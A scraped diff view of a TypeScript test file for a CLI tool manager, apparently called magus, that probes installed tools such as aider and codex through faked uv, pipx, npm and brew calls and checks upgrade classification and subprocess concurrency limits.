// magus has no version command for aider and uv has no record of a file
|
|
1227
|
+
// it did not install. What is under test is that the adoption travels.
|
|
1228
|
+
const f = { ...(await probeTool(s, io)), installed: "0.80.0" };
|
|
1144
1229
|
const status = classifyTool(s, f);
|
|
1145
1230
|
expect(status).toMatchObject({ state: "upgrade", target: "0.86.1" });
|
|
1146
|
-
expect(status.adopted).toContain("
|
|
1231
|
+
expect(status.adopted).toContain("uv takes it over");
|
|
1147
1232
|
// And it reaches the plan row the CLI renders.
|
|
1148
1233
|
const declared: ResolvedBin = { ...s, sources: ["profile:default"] };
|
|
1149
1234
|
const [item] = planBinUpdates([declared], [f]);
|
|
@@ -1163,11 +1248,15 @@ describe("probeTools — uv", () => {
|
|
|
1163
1248
|
},
|
|
1164
1249
|
});
|
|
1165
1250
|
const s = pip("aider", { package: "aider-chat" });
|
|
1166
|
-
const f = await probeTool(s, io
|
|
1251
|
+
const f = await probeTool(s, io);
|
|
1167
1252
|
expect(io.calls).toContain("uv tool dir");
|
|
1168
1253
|
expect(io.calls).toContain("pipx list --json");
|
|
1169
1254
|
expect(f.managed).toBeNull();
|
|
1170
|
-
expect(classifyTool(s, f).
|
|
1255
|
+
expect(classifyTool(s, f).state).toBe("unknown");
|
|
1256
|
+
// With a version read, the undetermined owner is the reason itself.
|
|
1257
|
+
expect(classifyTool(s, { ...f, installed: "0.80.0" }).reason).toBe(
|
|
1258
|
+
"owner-unknown",
|
|
1259
|
+
);
|
|
1171
1260
|
});
|
|
1172
1261
|
});
|
|
1173
1262
|
|
|
@@ -1227,24 +1316,23 @@ describe("probeTools — concurrency, deadline, ordering", () => {
|
|
|
1227
1316
|
});
|
|
1228
1317
|
|
|
1229
1318
|
test("no more than `concurrency` subprocesses run at once", async () => {
|
|
1230
|
-
const exec: Record<string, ExecHandler> = {
|
|
1231
|
-
"npm root -g": { stdout: "/g/node_modules\n" },
|
|
1232
|
-
};
|
|
1319
|
+
const exec: Record<string, ExecHandler> = {};
|
|
1233
1320
|
const onPath: Record<string, string> = {};
|
|
1234
1321
|
const real: Record<string, string> = {};
|
|
1235
1322
|
for (let i = 0; i < 8; i++) {
|
|
1236
1323
|
onPath[`c${i}`] = `/x/c${i}`;
|
|
1237
1324
|
real[`/x/c${i}`] = `/x/c${i}`;
|
|
1238
|
-
|
|
1325
|
+
// One subprocess per tool: brew's own answer about its formula.
|
|
1326
|
+
exec[`brew list --versions c${i}`] = async () => {
|
|
1239
1327
|
await sleep(10);
|
|
1240
|
-
return {
|
|
1328
|
+
return { code: 1 };
|
|
1241
1329
|
};
|
|
1242
1330
|
}
|
|
1243
1331
|
const io = fakeIO({ exec, onPath, real });
|
|
1244
1332
|
await probeTools(
|
|
1245
|
-
Array.from({ length: 8 }, (_, i) => spec({ name: `c${i}
|
|
1333
|
+
Array.from({ length: 8 }, (_, i) => spec({ name: `c${i}`, via: "brew" })),
|
|
1246
1334
|
io,
|
|
1247
|
-
{ concurrency: 3
|
|
1335
|
+
{ concurrency: 3 },
|
|
1248
1336
|
);
|
|
1249
1337
|
expect(io.inFlight.max).toBeLessThanOrEqual(3);
|
|
1250
1338
|
expect(io.inFlight.max).toBeGreaterThan(1);
|
|
@@ -1313,7 +1401,6 @@ const catalogTool = (over: Partial<CliTool> = {}): CliTool => ({
|
|
|
1313
1401
|
name: "codex",
|
|
1314
1402
|
displayName: "OpenAI Codex",
|
|
1315
1403
|
description: "",
|
|
1316
|
-
checkCommand: "codex --version",
|
|
1317
1404
|
website: "",
|
|
1318
1405
|
category: "ai-coding",
|
|
1319
1406
|
packageManager: "npm",
|